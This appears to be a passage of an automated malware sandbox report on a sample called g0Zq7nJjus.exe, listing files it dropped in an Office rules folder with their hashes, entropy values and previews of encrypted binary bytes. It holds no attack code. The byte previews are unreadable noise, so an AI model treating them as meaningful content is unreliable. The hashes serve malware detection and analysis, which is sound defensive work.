Preview:	.<?.'.WoiV....L<.f$Bl.s..Iz.q.....(.........)....3h .l..(&....qk/..C.....qy.p..J..S.@.......)$....G"EB....K.)....n2.T1H......d....A......X..7YH}.s...-.2. &...>..{....d.[...ZK..n.1o...:~.;.9.\.Fu.S...r;......y...a,.O..Z.+/...xG.3>....'FW..........O..S....]..O^^(.,.....w...a.L.e.M...L..+-`.jJD..#...':...:....!X..._:....2.ohu.E,9ez.,@9.w.y.H;7.\|...{.<Q2.5...J.!.....@....{......Z6K..0..6...Oo..f.I$yp..8l....7.!...N&.....v..........'.~y.........v.m/>.........ex...5.J.....;...\.f5.{.F..G..U.l...i(M..y.F.;,&..}.$....X......3.0H....p.0.iA..y>...x.l.'..W..w..!..LKw+..B.$6[...$Q7...k).z.8...KD...;\|...J........qG....0...~G-?a6lDJ..g......]q.S<....@..b\|.7...aC8...]..#..M.)eWV.._\|.v..X.ivhc(6.R..c.r.....-.:Q.C..b\qx.L3XA..e.9-.L+.C.=xc...ew.@M.3`....0.......+.Y..F..d.....z...2y.%.4..B.Z:^..h,d..._c...=.b.+$.7/.>.0.. ._.mS............*\|A.....Ih]M......@KP.z$....f=.:H.7.\|"u7..BY..!..2l:.NS3w(....zM=..LjF..F....K.t-..x..q]S....[.9.+.....K.%

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703400v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	7.891388888682565
Encrypted:	false
SSDEEP:	48:wegJ81WWVAvx7AxkRk5r5Z1KZ9DvaE5V9YNuNQ+6/D:weg4WWip7AR59KZE0CNkQ+q
MD5:	42683FB8A9A0C2CF6E92691A3E604D32
SHA1:	D30ADD86CE4EB98E732B57E7AD159BD167BE9824
SHA-256:	34AB8E2405473B6978190CF42D9A9E0988D1AA1238565909FFB25D09F18D9AA9
SHA-512:	8A6AAC0635C4B324E2358E1D27293F70A33B38D45ABED75061E8028AD1FDF49D5F629B93EB99D4CBBDF64445611C2EA3CA83D49526FB88737A0E1550F2A9CB24
Malicious:	false
Preview:	.<?.D.2..A...Rf..X..%.......Rk..t.....I..=.....^...F.."h........t .......4.Jb...R3_&...._G..j.'....x..;.u....._x..A...tU_...s..o.G.=../.o..0q4.~UW..F..t............j.Fh.k.f.....=.....V.x.....`s...Z.+..}.LI.uG...v...V..+o\..g...z.....d&q8o.?C......).b........J....W.....j.^^..)-.....<....?t.oR.!U0J............f@V...2...5..f..~...:u ..{...@..C..U}`\|.a!..VB9...oZ.i.......rs.^.....f.M..t-..n....3..-n.p.$..`...pJ.dS4.....yv..rO...Z_b../E...T..>.l..+..RL.....J.u...F:Q}..;..jkX.\..[..z...C.Y.W.mZ...R{...].Xl.0..Or%.M...!.... bU..S..$pm(.u'.3.M...m...^.+B..L\|.{...m...D.......BP.....-.....A.+.@.D...&..B.;....`.{T.W.ym;/.L......;.,..V.(I.(3.....a\|.G.....,.Fp... 7}.db .E.:.....(....3..hfW..'....s+..mthV.w.4.O...d?K....K(X........^...\|moa+I........X.......A...S.i........Z....@<....U...&."....n....+.Q..\xD.(.)Wx.F...<.."..Vy..\|..T..n.8........a.l.j#..Ce.q..w..87...bz..D......edrA.n..RL.v..X..[.".I...R.f.rx.)F4..g.u....2..R..J.....vW.:.!r,.2.G

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703401v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1759
Entropy (8bit):	7.876745877203369
Encrypted:	false
SSDEEP:	48:7P0C6aCEvm9oPoU/+zZ4V6+mV49Rw3Bptimb7XgVH0D:j0h8m9NF4VZcRptPbjoA
MD5:	BDB34A39F04D34CE29E017B721C0F850
SHA1:	DDF9A0990502529654DB5B3B6F42C7304ED19F3B
SHA-256:	DAB243CF7E1AD8F60BF8F70C607FB0DB9370B0B75062858023565177311F9BE5
SHA-512:	77FEC7CCB54ED596F2FAAB5DD7ACC22882093CCE3C5DA35FDC0F8131AA3201D2AB4760F4AF22029D5A2F7FA6533059658231DAEBD316627C562DDA37F17699C9
Malicious:	false
Preview:	.<?...^....O.a.s..+.`...n.T...<..+......E.:.l.%.k%g.o.....\|..U..u.+C.r.ob...F.....g,......!..bTo.Q.J..%......[y.C$.)7T....d...S5.Ta...qf.o..FfF.....+,....y7.f......E..B.crkh.y..q......U....<'[hN.@..$.^..........;..Ns...6.+..FP^.-..F......M..".@d..R.o.s.%......{.,..m.o%...^N...=H_..!w.?.e.>VJ....Jv..,.}.<....\.._.......V..}..>S)\|.DkV..[....D'f.Y......_L.,.Q.IP..=g.D.l...`.{.P.f..]._....._........FQCv.k.m$...i).5}...oz..vq.aP'.!..t.c.g.O..,...En)7.6...is.+...8.(.......K.....Y.Z...f.%Q)K/R.e.X.......8.vY.BP..t..JjQ.]........$.?.eV.........v..D.q.."...J/...,=...+.0Zr.=\.%t$S.l{x:.]...v..M..J0.>.n...TzH?%N.....#.....b.o....).>.(.m.&.J..".^..M9.o...)u..>..Y..0.p.y...y..u!..j...j...._.l..n%...Dau'.....c3.-....\|..2...uh.M...U..)t.yq;.....o/.3..@.9[.@.<%.i.r.4c...>.F...[.>2..?.......'^.......a'.T.....I..9..3s...==d..O...\|..;.Y.r.U.w.I...M..#.`....W........}(...f[.,h./i.S..Hx.k.....y..Z......-..1.....l.$.')re7C...<Nw\.8s...8h*Dil.$q..j._.[

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703450v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	7.8742099753850745
Encrypted:	false
SSDEEP:	24:zdmGKWqx8Bvo6CR97PTXg3HvdQvLeQCpcVvHp9n2tzaRhh9gF1JOZpUAFuOPKEuX:uWW8B6FjmPCDEStCtu6Fr0UsukKHS/YD
MD5:	91886DF358867E72A5479D4C46372643
SHA1:	7B74A4E703EDAF639A4861BECF742B4F68E98FDF
SHA-256:	77885BD2AA888DDF26C8B34E8063B179335791AEB36A83287C5274D99B04440D
SHA-512:	C1506CDEC0F4F63010AF7D99600A9D5C4B6365499FC163EB1C02A9A4216CC5F868FC8DB200FC1895339474F5EFE37C07696A80C0F29B83AD67BB332ABB7A8045
Malicious:	false
Preview:	.<?.S.",..2X.J.-.M..f_..8zw9......4."p..q?.....-.....Z[.... ..GS..xd.c.....Fy.......'.>..%....P......~N....[.. ...................9.._eC..'...;....o.X.ek%..y..K....X...o.r.K.3}^.R.?\..(...l@..L..YDdud..s...q.s..-..B.{.;.....h6f-....P....'..R;.0W..]:...nWH....0....=N.....U.;[.b....hg.{..qS.U....dn.2.v..3Q.w..l=j.g.&....<....mX.m&c.C..'C..@......Z....W..bV.!.LF.r..V>..HY..j.q..6.E.....i..../-j.89.'..C.@...h.9QHe._.j2f..<..y.p../1........cs...m....iM.a..$......P....'......\|v.Q."o..c..O;.......w.pN....Q....M..3..f.g.....V.._.f...L."....Hl........$9..S._..]x..j.l.P...i...;.<.<T.X..Vk.)..DU.;@.......I.&.[.....s..c.@..R..F.9r.....0Ld+.y.cs.....{.......\|D.!......q...[....QjQ.@....b.(......U8.}<TExS.......oy....I.c.)r.-.>...Q...57..=...-4.........5$.l.}.;....B...N).M.tE...p...rr.....W.#.P.M..$8.@..H.n.QS..&..=.z..g.n......v....%.5+...w4..*(e...AD.f.....?s=&.u$Po.0.a..Pq.i.LN.).....c.[W...7..........c.'..A=Y.P..Z....l..E...$/.~#.^UO.p.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703451v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1743
Entropy (8bit):	7.881844406464217
Encrypted:	false
SSDEEP:	48:BlexbFP9JqEFG9MkuUBA68ENGoNwy8tjUBPaddD:ax5NG9puUq/og9UMl
MD5:	DED85972537C3F374DB6D78A551ED39C
SHA1:	B6B514B8EA7657F29E73230B8327684ED1EECB69
SHA-256:	2D5A714516DEE732BAE1F3339C6325880F03564A053D5546A3C7FA613CDE9D9C
SHA-512:	8D7D5ECF23EF9782AF714DCD38578F658AB9DE6744A8E58053907B4D13168C22C8F1E7A805697C4850946F033F792C1A693681D2DD6368815AD4DD6160456D50
Malicious:	false
Preview:	.<?.0...+$h.GCY...&...eK&...v.^.w......X.>:.Y..#LJX..ib...i....r.>.zB@.T,.hj..6Q..oeM...p.Zr._..O.../T.....7c..k.c-..._..Ga...Tp..p....#....VoL.a.\nV'...g.,R....../..7S.U.I....n.Q&...:.(v.J.%S....?hB.c.."y..J."..<F.q..nDD..<.u...~.\|N....l......J.g.\|.$...q.}..@} J.39.Y\....8...h_.E;.y.Wc...V.E.\....m.E7..}...P..X.@l.[O..#8fB.U..9,..-...pR..X.rp........yLby.2.rD.UGD.;U.=..[..s...\|...{..l....&U....Ss.....k...7!.....1.w......J.....%..]..+QIH.VN.......h....S...0.i.w".e..o..i.]...o+.p...]\.=.#ii.....g.k...o._.:t.2..BJ....@U....8P..-d.].....1....hy.0.Q`..T.....#.......-.. P~......`.....H e....9ev(..:!...o)ap.Sc......;..@.._p...qq\.;<.W...y..XG.....!.@.M....7C.@..tc.3VJr....JD...\>...p.........y.....E'.~`N.Y.'..y$...^iR\|.f.7b.-.n^..^0...r..XU`..T..].'3..?.....9..';....... \|z...?.._.{.3\.Sm .....=.p...6.. ......_......@+. .....\.....?I:.Q...K.2...c.......V..... .u.n.\.......B...F&2.......+.^..v.t.Wq&;....N?M."...g.R{1Z.....G..e.Y.....k...pb..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703500v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.877300261570138
Encrypted:	false
SSDEEP:	48:FhClxSLC4EaVEusYIxqb6/JQyr5/fGt7vo589Q5sNrDGGD:Fh8mewEhYxWRQa/fy7IKDNrDGe
MD5:	0F105F70EE7A4EDE7B3C8A12C697A78B
SHA1:	3240F7208E4D1D86410CFB565E1029C4B5FB9707
SHA-256:	59D205CA9F01202E3EA3D9C8015C5BAA51DD147078E5D788DD38C92A40D5F28C
SHA-512:	29765854CEFA0C9357F9521F48F4957480D865C89CD96EB71D9C95BDAA56CDC6EBED7A811B9152741631CF4CF01DEE58BBF5257BBFBE887940FC88AAADB99B6C
Malicious:	false
Preview:	.<?...>...]di B)...xr...N....H....w..[..A.....d.X5.........{r7]...o...z...t&..aW..\|\G_h....@&\|..H....ZN...Q./{.-D\..WwN.p..>8-.....g.8O.....$....c.}...... .[%.....LXG.37m.6..cV.Jb.>..U~7.9.xC?m)....2...P.d.c.mn..Y.<:.`A......c.C.!..=..w+.~.'J......K^.}..`..<..3..s...!;...:.L7.3XGli.&}.T........J....m..~...^..Z............V....+$B..~....W.<p..c.e..Nc.'..7.....E...e_..5.Z...,W..+...9T....'....a....Y.....A.B.Vkzf....~....e.d.....aZ..T.O......#../..f;;0.r....2.c#J:.4.8st.0..u1..m..<.Gg.h.-..?A.\4.h..].....\|.#.MM..Ec.F...)"".<.P.+4-.2..1.f..t>......8\f..4..O....e.PCo.Q..c..........T..!.. ...2.ed.R.>.F...B...M..REv....i.A.O5_.B..._^2h.>q.V..!.g....^.p>+..B.#P...\|(......<....wc.r\|..7...k.A:.I.2..'Q\|.dkvR..8J..r.UqJNL..G..x....k..`..dA>..0f..J".?.~.\.l....S......i....a.b..x;.).x.H.I.....L...."."....V'eOw....c.;..$........w.Qd. .{G.#.r....F...........5b...y...a..(.2..\|......x]G.&.2.V.S..ZzN.j..z..T.(-.......Y...`.....!.H..<.z.^C2VN..x.K..{N.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703501v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.896986527659925
Encrypted:	false
SSDEEP:	24:depxSTnjvk2TvNwBFS6HFjIFS+8iENzYgLtDsdwtCvhj8xwML2Q+N77TPrC42dS3:c7STxvuS6JB6g+wt6hYxwML2B7PednwD
MD5:	BA2B4631C3F8628413E9D5A7ABB65F98
SHA1:	54E7BBBF733E7BF958FEF4C4E2776314473B8D48
SHA-256:	CBDBB554EB02850190EBE76FE988139D8CA226B968FA3BEB320AD3520A8E9300
SHA-512:	869760060A3030E3313FB9CA4D46E9D2A9F3661898093D6EB35D66C2EE22140C26E537B9E8D92A758B9FA80D4FE43B521E1E9A3EC2DCACBF533A39990A9520D0
Malicious:	false
Preview:	.<?tv....-..p.l.s..X..G..e....ev..=y!VwX...4."..g...:...9.O.1.........%E..U.n...."0..00I#Oz...>;..&..VO..H.....4:w..e_.b.Y........f\|{x..yQ7........H.........'gTd....^.P.G....F...B......c]>...&....\h.g.................-..Q..%...&.t....ts...).4....s...O..Q...JyX6%#s.?......4..{t0)..m4..f...h....U...=..$D&Pt.K...v...S..\.....<a..M.b?a.,:Pt%}.1..[NnX.m.4.zr..V.Cw..pd..0..:./_..x...=b..43.f..\..`Q.8.m'J4.....!-..T.]....!J"..p........W.'...(.Q.....^3...J.(.$.....H).qR....)..8[.;.kJ....Y.m.u..2R...6.?.QBj..hR....c.c.n.3.........~?...G.he..`....E-...&......i3..4....}..H....gZ.H............tHA.G..rO..Q...)E..eZ.4X.....CF...Y.q?&........:.J..Ez'.....d....s.!I:..n.~g.v8(... .Q-..o..V'...ef...W.T......UQw\|]..V.,.l_b...,._=n\;...>&$...g. ....:..pI.%ikDp~.he.Th.Qx.!..?.<....a./3q.bYy.3..a..40_.o....:1.S[...I~...=.v.G.S/TB.O.(.Y.......\AG\|.U"...........%Ue......Mi....^..2d.ul..F...z.L.M...Y..65..K&....n........g.vv..r..-.@4_..*@o5nK.B..k......,TQ.:

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703550v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	7.887403669043427
Encrypted:	false
SSDEEP:	48:VaC+UBMSr6JHI/axwoL/Lz7yigiJGWWWO1D1D:VaC+cMSYiMLaGTr+
MD5:	06BA54DFB3B1B12A284B73BC01BE1C3E
SHA1:	FB090F9C1F8516776E6CDE76E213DE16A4BD4648
SHA-256:	17E750F51E42C0FFFFF66E97389C28B33654AFE55E40A73F3D881B0506859D54
SHA-512:	9E2D3016FD369CC66C79CB0BCC976383CDBDB86892F8114738D1C56775DE4BA532A3C14291604DA4645FB54BEFE18B54FCCB3419941E823145F99FF327470CB1
Malicious:	false
Preview:	.<?Q....+.?3o(fS...;....'9.tY...8....5.2,.....U\.. .:..N=$.w.-..}V...,d..M\o....Gf../..Q..).T].H......wl...~{.4...l1...<:U..-+......TAf;.......pw..b.A.G1s....f_{..N..Xs.....F..f.)d.t1:,...QS..Z.1...k.^..... C.`+........i..k4=..(............c]EP.X...@y...G.f.)O....'..y..N..at...r..h)..F.p..c...DJ....wZ\|]}k..n... \.5ED..vb).P$.......G...`.9m..XI..KN....;..sa.y..yp...y......o.....j....)...z..A.A}..L$.j..eW....J1..KN;...;s8...Ci.Y.....C...89.. C*/.?.......R.V.<..\.O..2[.T.$..Q..G.2..g.Oe..B...,..?.,.=....$5..])E...^p,..'.?..ck.`.... .i.G...a...!<..f..&F...Y[J.3...2.<?....><....^....9#.p~...X .%....x..(......l.m..Dhf.}...66.r.........J2t.....0\|.."....z<..w....,U...9......-.....u..~B.l.3....&5..bs.@.m.8...,[....R..LI.!..kJ.Oy.{u.ZQ....}....F.o..C2Z{.....v..'.e...Tb.%...<..@..1..^d;l% ...3.=.D.sq(..t.....\|....b..f.j.f...:../.$Q....p....6NI ....u.1....J..k.AS[....>1\....aMY..j...}nkwE.H~ag.......N&...Ac.?>....@......[..u.4....].,.l..P.!!?OGg.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703551v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1743
Entropy (8bit):	7.899835832759473
Encrypted:	false
SSDEEP:	24:TUBGwO3ZuKe7Zxt9vWn20h0ea0Tmfjn7d5RJXlfftX/VcdvAdZzajAnxhso2bD:yGt3ZuKeru0ezM7d5Rxlffi+tajAxebD
MD5:	C69EC04A027D8344420A0E8A05E26E6E
SHA1:	0A1BE2218847999D8B1359D723250ED76D5256AF
SHA-256:	AE9F193F42FDA80537E72E893D239B7689A9798023581942DBFE5F6F814228E6
SHA-512:	7B5876A693805B625D80C0E52BA9753745173E518A3E79CDB56B1A6E99A82215B6A57C9D2F9E03A387AE8A2981925F5636D7452718A315B5CDCE9C67A7C9F5A1
Malicious:	false
Preview:	.<?,.A.U. .z{J...]..l...+.d...\|...a....3..v....qv.^....C~D.sh.'..DP..T.(jlV..!1:./.p...1....$..k]..q.]...ZW.?..q.k....... .x{..I.?'{].A.}...7n.O...l.a..~:..Z...G'...u.m........3..d`.3....8.....4.`.).....f.1)4z.wL..b..\..c,..SE.q...^l+.L.. .n4s....4}35.]..y.....].k.......g.......d'8.@..(..5.p.2..hf7..r..2....7../-.J..$J.i.W..t.).K........+M2..J.f.......s)..wz...J.Y<..]....-...t.J,..S.........xL5.....Ta.M.RP......8....x..6.....)...#.\|.i. +.A....q..V.(.R....,.N:.f...u-.w.<.nM;...;(#<......L.d..k=..G...,.'..-h'....Y.{.H...I,..7..R......V..6gGb....\|..YeK.\..?.Y.g.%..3....5.g0...P.H=e....R..$//@..v.4.F..Cr..d.T].%.a......n.e.p6.M..s@..nB.<..?!B.g.......)..F.TL=^./....Jn.w..XH..../..w.JX....D$...r.O..#..5..._...(...a.....T..[..%..A<....i.......M.H.&'........./9..(.Ck[."e...........q.s..'..:...........3.....x....B.E._.....].k..>.64.~5^...<f..#u$!.DaP.&U[.D.\|8....1..R...x.H...7.XP+....^......GF.,I6.}..Zg....eB.........FT~.2........<r.}..M..j[6:..wY

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703600v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1692
Entropy (8bit):	7.876145267747782
Encrypted:	false
SSDEEP:	48:s1MHm+orQQntcQcZusPje1SXaGCMk3nND:s1p+orltNHQTK1
MD5:	091AC6BB43093D682D4C95D294B43A1D
SHA1:	1D2F3A4374C127760BFB6173260A74DE79CAFDCB
SHA-256:	BF1F826C12D47A254A4D27D78D08D2037F0C9714A8F617F09DFA42D8EB409DE4
SHA-512:	61953F25BB7C4164AE6D54555A8CD811257571ADA9E5305F8E5C62502D9D1885ECCDDCD88F025815A5D888A1E87DF83D2E589C7EF6079109890353B07D16AF50
Malicious:	false
Preview:	.<?...%......<.##..~_i.X..5)j..2......[.....n}..."RY..}.....!...B.A..E....e.R..4..w......@.(h...$^.2..~...S.......o.7.l..g2ih...8.^S!.%..6..q.....5..c.....rP......".2......gO[t..-.....A.......1T.....,......6.....X.U.W.../s5.]~...X_[d'O....=.t.........Z.....)w.i..i.T..J".D.C..Q<.G........;_..9......>d..aV..].......y$!."..y.h^^I.b.U....8.....;.,]....j0.\.......R.....\l@...ee.W.\\|p2.}...`.......T...\|...=.yQS.1.H.:oH[cny...p....,.5.[.S$......(........g...p..m.Y.q%.].....'....L.B...V../......f....N..8...9B..Z^'%~..5..\|...Le[;hc0;..Q.W.g..3...n..J(nu+....;,a.5.^.h8.]..[.;Z..y..'.q.....pq..2..Z-9.,9Q.U`.u....jl...!!.L8..B.s..@...p.<..._f..6e...0.....l.=.bS.G..1vX....5.G:K......)........_m.c.s...p.t.....t......nHN.C%.Y.3t2^.5PI.w..m.B.8.G'.....3..E.....\Y8l<z#......q..TQ} .q!{b..Z.R.w1...k...I?$.l...g..A..w...L.....Y.TM4._..m.Yd..=m.S!....Y[@.....g.'....C..af.:15s..K..Y..W.T.Dq{)..CfV..........)=.2...3Ebp..._.^+..6./..x0..7.....#.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703601v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1729
Entropy (8bit):	7.895653770617864
Encrypted:	false
SSDEEP:	24:FBNasd9QKnSRV5WMOBceQJmJ81B1yhFxd0pAzhxESDjecVcarCdOfYl9ZN4snf5Q:FBNawrniOQ2Q1wf3xDVCwfUL5hn4DWID
MD5:	953AB5CC16F5D82DA4EC38E29DD6BA4E
SHA1:	140224B6A0B2F96B32AB7B1F19EBF448F69E562F
SHA-256:	5A39D497CD111882C3CB709A987D08E9211018E8166EB1A03DF03B52E6BF02B3
SHA-512:	6343039E5BFD0B23C043C7F9AAB38F1C7B483D71625E9D7D87AD99AF70E09CFDC1ECB576E992CDA4A6F6FA4F8A66CE0579A0741D6DE99BA0BF2F49A8688AB833
Malicious:	false
Preview:	.<?Z((...q..;BM..T`t_)..1..~NKk.a.)...Q...R;...C6Z3c....i.b..t.N...e.y.-O....r)....4SD.G6.NY.p...O.....m.f....$_...eku.5....>..a#I[Q$...D....b.u"....V.&D.b..r..r.{PLpIc.;U.W.y..a.4...VJ...m.GZ.3..~Y.`...c..?!.../qg.....0...h..q.}....Wr...]..TWPg.J.].~../~i....tt.^..t.."-v2.Z........,q.cGH.}%.=...5.{f.p^4..[.Q.._.L.&...a..............y.-..Oh5%....F....=.'/...Ma...qg...b..._lsz."AR_(A...h'L.........2r.8.Z....Z.['".^.......3};y1o8........`..V."coP...../.U...z.@Q....bjM..L..&.... ....h.(..>y..V......y..g@...Hn.@L..+.S.a...%\-.K..u.F......)........o'.)g.5`.N.e.$..7.u...dX.VH...~x..6wH..U/$.l-.`I.............w!.Q...g.@:.+.Sq$A...6....=..:..H...A...].V.T..9..!d....6Q..Kj..BWn.od?.cz7Z..{J.a$.[...\|~6........~..I.........r...o.4^..L.^YJ...T...1p"..t.....'V..@PO.W.\|....%.:0.r2.I.\...[#.&.>3O.Uo.....w..c.M/.4^[..m.f..]>,L.. ......3...l.s.T.T:Z=....X..x&.=D..~jt...P......p.....o4.\|.."..../..}*'=....V.g......>.$.....l........i.hX.....}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703650v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1694
Entropy (8bit):	7.869409216323347
Encrypted:	false
SSDEEP:	48:yPcI8Hm+iaQjJEH/8sXerGAo6XqJWod9vEKufYxz7rD:u8Hm+iaQNG/8sXIGN66JWSJHVH
MD5:	7EB74EA4A15CA54E242751B2428A0A1B
SHA1:	5EE6FADDA529D83EC0206071082FF915A2F98526
SHA-256:	C15E076B0B2444CF354FE5F189682614A9D3671A9A2B765AE8C8E793F484F773
SHA-512:	0CA0E4C02B2D0A236844F6AAE42FD003F864D1262A1958332F7A8C40C0614B64736A7F8E2C5D769FFA5CF3347C6F55B86C3681FEE77CDCB085B7A5637621388D
Malicious:	false
Preview:	.<?...%.b.K...}N....x.f-\.Q[.....XzK...Vg#.....8+.IE..z....>..........w(....j....p.zk.~R.oE...e..5..e....'..S..7...I.......#.7.s..'...l.o.Tn..s...L....T.#......$Y_e.AsadKa..'......yD.2...}.J[...<PY.G9v....0..`...a..j[.(.3f`......M....j.A...?1-v..#z<?<.W..R.#.......-.j.5.0.o..........9.=Cb..2........>o8,0.j.^Sg.T...`.......C...z.....I.{.M.!Y.Qsp O.8....r.......e('..?..'>..a.r..g3)g..0...f......E.....^....,~d..ZY.h&K...s..o......_..E8..N+....\|.."...[.5.7f....7.....h...E\^U.m..]~.n...r..... . .M_......O6X^...Og....#+oF.4C/.>..p....w.{....UKt....B..... .M..nG.g.......m4...\Z.m....=..!:...r_\|.C..JR..-8f/5..6.}...{......_.v......hf.y.Qt.s3W.,..(..3RX.?.}...;`.S.^......[.:-.=.e!%;".-..K..EE.{/..!..hE..B.\|.O..il..d............)`....@.&1...q.r./.z....W.A.Q..8.^8...C...A..'.[......d...[........x.S....=....gw'....:..%.Q.s..`EE...D..O.....l...5.K.a/e.%.V..[B.Kr.U..:.........Or.0G...,.t..5l.x.^..b.a..5A..V..31..........l1.[.g..-.2..........$.g..@.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703651v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.879724273846952
Encrypted:	false
SSDEEP:	48:pGyQkCogGQ/tMuc1B9Hzp7aGVPeekXUIXYGHlD:pnQJ/tMzLTpmGV2DUMY6d
MD5:	8B6143737B52D68A0940F2D606FBEB8E
SHA1:	64FAFD2206EAD8C3C4547954D0D99FD6E3E27E9C
SHA-256:	99F28D80FE567409665B7EDDF782835966DD08BCD7574401CE6A236EE38C6A63
SHA-512:	27F8D1BF9E6B235644F44DDF5B93367F680AFB0F1BB3564F37F55BD7F55AE7DEA7F7F9C3873749DA5BD1D1DB2AA9C3C5A916373BCA75794F0DA4C733330BE3A5
Malicious:	false
Preview:	.<?...g..X<fZ.$.?...SE..9.a....^..\:..@..)....Ua,.8.....s.x..O.o......'.....s..@.O..j.v...V...i...8.e3nw.!......R$.....;...1.[.cO..........~.x[....1..N.=.^....o...x.)%K..Xn..#.Ir.y.q.6 bB.:.8.:..4K.3...]a.....w%....,....6O.L...f.........L8m..^._2(\o.....w...%#..b.Z.7'=^S.d...a..c.u..wCo.....f/.H.GZ}Cr...A..th..r..J...i..a..C....%....R.......rq.+U.....9^..\4..^..mp..SWi,..+&i../.D.pd...S.m_..2."l[SI l~\|t.L..%gW.y.2eUV.jN.-@+.......e.......3...`T.#..6...UY..:%k......P:.. .'..b?%f..,.....(@t....$w..E....e\....V.A..TI......l.....Wl....6&3..V..P...f..</.U.&:.K...r#MYd..fYR(..y.k.?.x.W....J..T&Se.M....M .1O?.G.\......t..%...w....m..)..7._.oo.6.......X\...:..H...].......S..(g.f.._..........J=.o<.....p&...9....McG...\|[{.G..7.c.D..7D..'.[.oO...jR.YjF`vu.#Z.L.....J.<..W.../_..YeOO.i..2..x.V..sw...^.)..L.,.XR.]_..<......ef......3...m..XR.........{P.g.&.g.x.q.3..k.U.......[M..t..A.82..G.w...x..Q...D...v.6t....0..%..V.UMG.N...v....j....P.g..fa..(...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703700v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1712
Entropy (8bit):	7.89891445014295
Encrypted:	false
SSDEEP:	48:X7ihRFLUZOLAe+4L1lsthsaNQ1TUSDE1j1TjLQ0AIcuD:X2hRFLUZNe+4LQt5NQ1OX3Q0AIcW
MD5:	31BCD2AB2470FA2A7232E7DA5FAA3CD7
SHA1:	EC470BDE2E93DDB514BA82A712B974432B27046A
SHA-256:	9E055EDBE162F3E1E1339E8C690254BA663F011825B1C80389856E0E4F443C7C
SHA-512:	CE55B0DE4C6A7A6E1C40539DF046C7D9796533735B3932B1BACDC185EF4AE9351CDE1D827DF64C80A186C407F7F9F5CFF6F0A394A68D098639D2366DF2564117
Malicious:	false
Preview:	.<?L...EG.Dm"...A...>:...hT.`t8$..]++.`........!.Hh....f:...%..[..zs.....z..9......fx.# .rx...W.\=K.Q..K<...]...JlQ..pwD..z.M...2p?.......I.z.....B.c]S.4..IV...<.....D.S.zv....y%Z....SA....e..x..P..c..........H.>)......t.l.y..j.4....M....p.;....A.&A.N.....gE...^V.u..7...B:.o.Gi......2..9v...D.....J..."3..T..F....T90.j.I.D.+Y.7.z.H.._l.R.[.i\d..$..Y...A5..8<x.....0PU.%tp......3...Ag..R....y:..5.}.r....m".h..n..,..X.....[`...1u7.b>z...._.f.k{C$Ns@.}`c..w3.......~N.&.&Dzn......>'..v..9.AQ.C.q......R...)^...w.y...Fr....GK..w.-.<J._X..Y2.L7.>..a..3~Ebd;.......\.'......6.......Y......g$"...~....=:..(....P.k..g.=.....RT..s. .-..e,...~..KB....^)5.fA....c..:-...X....-....p.d.K..[.G.=...-.z..4....i..Y..TMOU..)(Q....'.........q{.[.....o.#..C{V...Di._-F,..@.I=.i.M.......JN.9..sJ.@.).Y....%.2..c.e.R....;0.U=...]......!.,D..~..s.P.....Q.=.?N...8J.......x...jMR....pwh...qT.X..V{.......j....SC..g..}`$...;*..X.dw..OVJ.\|.>.r.........k....\|<.J..R:

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703701v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1749
Entropy (8bit):	7.895804464920732
Encrypted:	false
SSDEEP:	48:/K/GLV56j5zxiwRmTRWasGivvxUfbvlmqGf8d6tK0qD:ieLV56hPRmTRdsGivv2Ds3tK0i
MD5:	61BE1C02D907BCD0D54638A058980580
SHA1:	C57D2FF8246F937FCC3B49B386A46D864C80321E
SHA-256:	BC92B158024398C25A409DBF8245897508AF7F3D0B93351D4B37B765DD6BD766
